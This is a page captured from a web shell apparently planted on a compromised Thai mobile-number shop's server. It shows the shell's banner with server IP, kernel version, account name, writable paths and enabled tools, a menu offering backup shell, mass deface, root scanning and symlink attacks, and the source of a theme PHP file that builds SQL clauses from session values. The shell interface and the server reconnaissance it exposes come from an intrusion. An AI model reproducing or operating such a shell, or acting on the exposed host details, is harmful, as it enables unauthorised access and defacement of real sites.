AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 172.71.28.145   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/simded.com/simsalmon/control/themes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/simded.com/simsalmon/control/themes/munu_short.php
<div class="container div_mobile" align="right" class="div_mobile" style="padding-bottom:10px;">
<ul class="cart_mobile">
	<?php
     if($row_sh['trust'] == 1)
     {
        ?> <li style="padding-left:15px;float:left;margin-top:-20px;height:45px;margin-bottom:20px;">
            <div class="NavLabel" style="height:40px;">ร้านค้าน่าเชื่อถือ</div>
           </li><?php	
     }
    ?>
    <li class="dropdown div_mobile" style="float:left;height:45px;">
	  <a href="#" class="dropdown-toggle BtnBasket" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
	  <?php
	  //session_destroy();
	  if($_SESSION["num_cart"]==0){ $_SESSION["num_cart"] = 0;} 
	  ?>
	  <img src="../images/basket.png" width="30"  /> ตะกร้าสินค้า (<span id="alert_cart2"><?php echo $_SESSION["num_cart"]; ?></span>) <span class="caret"></span></a>
	  <ul class="dropdown-menu" style="margin-left:-50px;" id="alert_cart_ok2">
	  
	  <?php
	  if($_SESSION["num_cart"]==0){
		?>
		<li><div class="row" align="center"> ไม่มีสินค้าในตะกร้า</div></li>
		<?php	  
	  } 
	  else{
		foreach ($_SESSION["cart"] as $key => $value)
		{
			$list = array('table'=>'phonenumber','where'=>'id = "'.$value.'"','order'=> "ORDER BY id DESC");				  
			$view = $view_db->view($list);
			$row = $view_db->q($view);
			
			$phonenumber = $Phone_class->format_phonenumber($row['phonenumber'],$row['format']);
			
			$row_mobilenetwork = $actiondata_db->q_one('mobilenetwork','id = "'.$row['mobilenetwork'].'"','image');
			
			$list_shr = array('table'=>'shop','where'=>'id = "'.$row['id_shop'].'" ');				  
			$view_shr = $view_db->view($list_shr);
			$row_shr = $view_db->q($view_shr);
			$urlshop =  $util_class->ck_expired_shop($row_shr['id']);
			?>
			 <li class="listcart">
			 <div class="row"> 
				<div class="col-xs-2" style="text-align:left;padding-top:5px;" align="left">
					<a href="<?php echo '../../'.$row_shr['codeshop']?>"><?php echo imgprofile_shop_m($image_profile,'34'); ?></a>
				</div>
				<div class="col-xs-10" align="left">
					<div style="font-size:18px;"><a href="<?php echo $urlshop;?>" style="color:#333"><?php echo $row_shr['nameShop'];?></a> </div>
					<div class=""><?php echo $phonenumber; ?>  
					<span style="color:#F00;font-weight:bold;"> <?php echo number_format($row['price'])?>  บาท </span> </div>
				</div>
			 </div>
			</li>
			<?php	
			$total =   $total + $row['price'];
		  }
		  ?>
		   <li class="totalcart">
			 <div class="row"> 
				<div class="col-xs-12" style="text-align:left;padding-top:5px;font-size:20px;" align="left">
					ราคารวม  <?php echo number_format($total)?>  บาท 
				</div>
				<div class="col-xs-12" align="right">
					<a onclick="link_cart()" class="btn btn-danger btn_checkout">ชำระสินค้า</a>
				</div>
			 </div>
			</li>
		  <?php	  
	  }
	  ?>
	  </ul>
	</li> 
	<li style="padding-left:15px;float:left;margin-top:-10px;height:45px;">
	<?php	
	if($_SESSION['simDed_login'] == 1)
	{
		$sql_m = array('table'=>$_SESSION['simDed_type'],'where'=>"id = '". $_SESSION['simDed_id'] ."'");
		$view_m = $view_db->view($sql_m);
		$row_m = $view_db->q($view_m);
		
		if($_SESSION['simDed_type'] == 'member'){ $sql_f = 'mem_id';}
		if($_SESSION['simDed_type'] == 'shop'){ $sql_f = 'shop_id';}
		if($_SESSION['simDed_type'] == 'professor'){ $sql_f = 'pro_id';}
		
		$sqlmm = array('table'=>'favorites','count'=>'COUNT(id) AS countid ','where'=> $sql_f . " = '". $_SESSION['simDed_id'] ."'");
		$viewmm = $view_db->view($sqlmm);
		$rowmm = $view_db->q($viewmm);
		$favorites = $rowmm['countid'];
		
		if($_SESSION['simDed_type'] == 'member'){
			if($row_m['id_fb'] == ''){
				$urlimgpro =  $urlimg_main.'images/b1.jpg';
			}
			else
			{
				$urlimgpro = 'https://graph.facebook.com/'.$row_m['id_fb'].'/picture?type=square';
			}
			$urledit =  $urlimg_main.'member/profile.php';
		}
		if($_SESSION['simDed_type'] == 'shop'){
			
			if($row_m['image_profile'] == ''){ $urlimgpro =  $urlimg_main.'images/b1.jpg'; }else{
				$urlimgpro = $upload.'/file_manage/'.$row_m['image_profile'];
			}
			$urledit =  $urlimg_main.'shopadmin/';
		}
		if($_SESSION['simDed_type'] == 'professor'){
			if($row_m['image_profile'] == ''){ $urlimgpro =  $urlimg_main.'images/b1.jpg'; }else{
				$urlimgpro = $upload.'/file_manage/'.$row_m['image_profile'];
			}
			$urledit =  $urlimg_main.'prophecyadmin/';
		}
		?>
        <div class="dropdown">
          <span class="dropdown-toggle" data-toggle="dropdown" role="button" aria-haspopup="true" aria-expanded="false">
            <img src="<?php echo $urlimgpro; ?>" width="39" height="39" style="border-radius:33px;"> <span class="caret" style="color:#F00;"></span>
          </span>
          <?php
          if($_SESSION['simDed_type'] == 'member')
            {
                ?>
                 <ul class="dropdown-menu dropdown_profile" style="margin-left:-100px;">
                    <li><a href="<?php echo $urlimg_main; ?>favorite/"><img src="<?php echo $urlimg_main; ?>images/icon_like.png" width="16">&nbsp;(<span id="alert_like"><?php echo $favorites; ?></span>)</a></li>
                    <li><a href="<?php echo $urledit; ?>"><img src="<?php echo $urlimg_main; ?>images/edit-24.png" width="16"> แก้ไข้ข้อมูลส่วนตัว</a></li>
                    <li role="separator" class="divider"></li>
                    <li><a href="<?php echo $urlimg_main; ?>include/logout.php"><img src="<?php echo $urlimg_main; ?>images/unlock-24.png" width="16"> ออกจากระบบ</a></li>
                  </ul>
                <?php
            }
            if($_SESSION['simDed_type'] == 'shop')
            {
                 $urlshop =  '../../'.$util_class->ck_expired_shop($_SESSION['simDed_id']);
                ?>
                 <ul class="dropdown-menu dropdown_profile" style="margin-left:-100px;">
                    <li><a href="<?php echo $urlimg_main; ?>favorite/"><img src="<?php echo $urlimg_main; ?>images/icon_like.png" width="16">&nbsp;(<span id="alert_like"><?php echo $favorites; ?></span>)</a></li>
                    <li><a href="<?php echo $urlshop; ?>"><img src="<?php echo $urlimg_main; ?>images/house-48.png" width="16"> ร้านของฉัน</a></li>
                    <li><a href="<?php echo $urledit; ?>"><img src="<?php echo $urlimg_main; ?>images/edit-24.png" width="16"> ระบบจัดการร้าน</a></li>
                    <li role="separator" class="divider"></li>
                    <li><a href="<?php echo $urlimg_main; ?>include/logout.php"><img src="<?php echo $urlimg_main; ?>images/unlock-24.png" width="16"> ออกจากระบบ</a></li>
                  </ul>
                <?php
            }
            if($_SESSION['simDed_type'] == 'professor')
            {
                 $urlshop =  '../../../prophecy/'.$row_m['code'];
                ?>
                 <ul class="dropdown-menu dropdown_profile" style="margin-left:-100px;">
                    <li><a href="<?php echo $urlimg_main; ?>favorite/">
                    <img src="<?php echo $urlimg_main; ?>images/icon_like.png" width="16">&nbsp;(<span id="alert_like"><?php echo $favorites; ?></span>)</a></li>
                    <li><a href="<?php echo $urlshop; ?>"><img src="<?php echo $urlimg_main; ?>images/house-48.png" width="16"> ร้านของฉัน</a></li>
                    <li><a href="<?php echo $urledit; ?>"><img src="<?php echo $urlimg_main; ?>images/edit-24.png" width="16"> ระบบจัดการร้าน</a></li>
                    <li role="separator" class="divider"></li>
                    <li><a href="<?php echo $urlimg_main; ?>include/logout.php"><img src="<?php echo $urlimg_main; ?>images/unlock-24.png" width="16"> ออกจากระบบ</a></li>
                  </ul>
                <?php
            }
			?>
        </div>
        <?php	
	}
	if($_SESSION['simDed_login'] == '')
	{
		?><button type="button" class="btn  btn-danger BtnLogin"  data-toggle="modal" data-target="#myModal_login">เข้าสู่ระบบ</button><?php
	}
	

	?>
	</li>
</ul>        
</div>

Anon7 - 2022
AnonSec Team